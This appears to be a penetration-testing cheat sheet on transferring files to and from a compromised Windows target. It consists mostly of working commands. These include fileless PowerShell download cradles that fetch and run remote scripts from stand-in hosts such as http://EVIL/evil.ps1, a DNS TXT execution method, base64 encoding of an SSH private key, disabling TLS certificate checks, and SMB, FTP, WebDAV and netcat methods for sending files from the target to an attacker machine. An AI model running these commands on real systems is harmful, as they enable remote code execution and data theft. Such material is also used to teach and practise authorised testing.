Windows Target
Download operations (Attacker -> Target)
Powershell Base64 Encode & Decode
Linux payload preparation:
cat id_rsa | base64 -w 0;echo
Windows PS:
[IO.File]::WriteAllBytes("C:\<path>", [Convert]::FromBase64String("<base64>"))
PowerShell Web Downloads
In any version of PowerShell, the System.Net.WebClient class can be used to download a file over HTTP
, HTTPS
or FTP
.
The following table describes WebClient methods for downloading data from a resource:
Method
Description
Returns the data from a resource without blocking the calling thread.
Downloads data from a resource and returns a Byte array.
Downloads data from a resource and returns a Byte array without blocking the calling thread.
Downloads data from a resource to a local file.
Downloads data from a resource to a local file without blocking the calling thread.
Downloads a String from a resource and returns a String.
Downloads a String from a resource without blocking the calling thread.
File Download
(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
(New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
File-less
Instead of downloading a PowerShell script to disk, we can run it directly in memory using the Invoke-Expression cmdlet or the alias IEX
.
IEX (New-Object Net.WebClient).DownloadString('https://path/to/file.ps1')
(New-Object Net.WebClient).DownloadString('https://path/to/file.ps1') | IEX
PowerShell Invoke-WebRequest
From PowerShell 3.0 onwards, the Invoke-WebRequest cmdlet is also available, but it is noticeably slower at downloading files. You can use the aliases iwr
, curl
, and wget
instead of the Invoke-WebRequest
full name.
Invoke-WebRequest https://path/to/file.ps1 -OutFile outname.ps1
List of commands
From HarmJ0y:
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText
# WinHttp COM object (not proxy aware!)
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText
# using bitstransfer- touches disk!
Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r
# DNS TXT approach from PowerBreach (https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1)
# code to execute needs to be a base64 encoded string stored in a TXT record
IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))
# from @subtee - https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d
<#
<?xml version="1.0"?>
<command>
<a>
<execute>Get-Process</execute>
</a>
</command>
#>
$a = New-Object System.Xml.XmlDocument
$a.Load("https://gist.githubusercontent.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d/raw/1ffde429dc4a05f7bc7ffff32017a3133634bc36/gistfile1.txt")
$a.command.a.execute | iex
Possible Errors
There may be cases when the Internet Explorer first-launch configuration has not been completed, which prevents the download. This can be bypassed using the parameter -UseBasicParsing
.
Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX
Another error in PowerShell downloads is related to the SSL/TLS secure channel if the certificate is not trusted. We can bypass that error with the following command:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
SMB Downloads
We can use SMB to download files from our Pwnbox easily. We need to create an SMB server in our Pwnbox with smbserver.py from Impacket and then use copy
, move
, PowerShell Copy-Item
, or any other tool that allows connection to SMB.
sudo impacket-smbserver share -smb2support /tmp/smbshare
Then from Windows:
copy \\192.168.220.133\share\nc.exe
To transfer files in this scenario, we can set a username and password using our Impacket SMB server and mount the SMB server on our windows target machine:
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
net use n: \\192.168.220.133\share /user:test test
copy n:\nc.exe
FTP Downloads
sudo pip3 install pyftpdlib
sudo python3 -m pyftpdlib --port 21
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')
In case of non-interactive shell, create an ftp file:
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
more file.txt
> This is a test file
Upload Operations (Target -> Attacker)
PowerShell Base64 Encode & Decode
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))
PowerShell Web Uploads
Installing a Configured WebServer with Upload
Preparing the Linux attack box to receive the file:
pip3 install uploadserver
python3 -m uploadserver
Now we can use a PowerShell script PSUpload.ps1 which uses Invoke-RestMethod
to perform the upload operations. The script accepts two parameters -File
, which we use to specify the file path, and -Uri
, the server URL where we'll upload our file. Let's attempt to upload the host file from our Windows host.
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
PowerShell Base64 Web Upload
Another way to use PowerShell and base64 encoded files for upload operations is by using Invoke-WebRequest
or Invoke-RestMethod
together with Netcat. We use Netcat to listen in on a port we specify and send the file as a POST
request.
nc -lvnp 8000
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://<attackerIP>:8000/ -Method POST -Body $b64
SMB Uploads
An alternative (when SMB traffic is blocked) is to run SMB over HTTP with WebDav
. WebDAV
(RFC 4918) is an extension of HTTP, the internet protocol that web browsers and web servers use to communicate with each other. The WebDAV
protocol enables a webserver to behave like a fileserver, supporting collaborative content authoring. WebDAV
can also use HTTPS.
Configuring WebDav Server
sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
Connecting to the Webdav Share
dir \\192.168.49.128\DavWWWRoot
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\
FTP Uploads
Before we start our FTP Server using the Python module pyftpdlib
, we need to specify the option --write
to allow clients to upload files to our attack host.
sudo python3 -m pyftpdlib --port 21 --write
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')
Or creating the command file
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
Last updated